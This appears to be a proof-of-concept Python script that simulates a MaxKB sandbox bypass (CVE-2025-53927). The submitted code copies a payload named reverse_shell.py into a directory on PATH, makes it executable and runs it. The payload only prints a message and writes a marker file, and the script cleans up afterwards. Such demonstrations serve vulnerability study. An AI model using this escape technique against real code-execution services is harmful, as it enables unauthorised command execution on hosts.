Vulnerable code sample

import os
import shutil
import subprocess
import tempfile

# --- Environment Setup ---
# This simulates the vulnerable MaxKB environment.
# It creates a temporary directory structure.
tmp_dir = tempfile.mkdtemp()
restricted_code_dir = os.path.join(tmp_dir, "restricted")
executable_bin_dir = os.path.join(tmp_dir, "bin")

os.makedirs(restricted_code_dir, exist_ok=True)
os.makedirs(executable_bin_dir, exist_ok=True)

# Add the "executable" directory to the system's PATH for this process
# This simulates a directory where the system trusts and runs commands from.
original_path = os.environ["PATH"]
os.environ["PATH"] = f"{executable_bin_dir}{os.pathsep}{original_path}"


# --- Attacker's Payload ---
# This is the malicious script the attacker wants to execute (e.g., a reverse shell).
# For this PoC, it just prints a message and creates a file to prove execution.
malicious_payload_filename = "reverse_shell.py"
malicious_payload_path = os.path.join(restricted_code_dir, malicious_payload_filename)

malicious_payload_content = """
#!/usr/bin/env python3
import os
print("!!! PAYLOAD EXECUTED: Sandbox bypassed. Attacker has control. !!!")
with open("/tmp/pwned_by_cve.txt", "w") as f:
    f.write("CVE-2025-53927 was successful.")
"""

with open(malicious_payload_path, "w") as f:
    f.write(malicious_payload_content)

# The system *would* try to run code from restricted_code_dir, but assumes it's sandboxed.
# An direct execution from here would be blocked by some (flawed) mechanism.


# --- The Vulnerable Code Execution ---
# This is the code the attacker submits to MaxKB.
# MaxKB executes this, believing its sandboxing rules are effective.
# The vulnerability is that Python's `shutil` can access other directories.

attacker_submitted_code = f"""
import shutil
import os

# Path to the malicious script placed by the attacker
source_file = r'{malicious_payload_path}'

# Path to a directory where files are allowed to be executed
target_dir = r'{executable_bin_dir}'

# The core of the vulnerability: copy the payload to the executable directory
copied_file_path = shutil.copy2(source_file, target_dir)

# Make the copied file executable
os.chmod(copied_file_path, 0o755)

print(f"[+] Malicious payload copied to {{copied_file_path}} and made executable.")
"""

# Simulate MaxKB running the attacker's code.
# The print statements here simulate the log output of the vulnerable application.
print("--- Simulating vulnerable application executing attacker's code ---")
exec(attacker_submitted_code)
print("--- Attacker's code finished execution ---")
print("")


# --- Proof of Exploit ---
# Now, the attacker (or the system) can run the malicious payload
# simply by calling its name, because it's in a directory in the PATH.
print(f"--- Attempting to run the payload '{malicious_payload_filename}' from the executable directory ---")
try:
    # This call succeeds because the file is now in the 'bin' directory
    result = subprocess.run(
        malicious_payload_filename,
        check=True,
        capture_output=True,
        text=True
    )
    print(result.stdout)
    if os.path.exists("/tmp/pwned_by_cve.txt"):
        print("[SUCCESS] Proof file '/tmp/pwned_by_cve.txt' was created.")
        os.remove("/tmp/pwned_by_cve.txt")

except (subprocess.CalledProcessError, FileNotFoundError) as e:
    print(f"[FAILURE] Could not execute payload: {e}")

finally:
    # --- Cleanup ---
    os.environ["PATH"] = original_path
    shutil.rmtree(tmp_dir)
    print("\n--- Cleanup finished ---")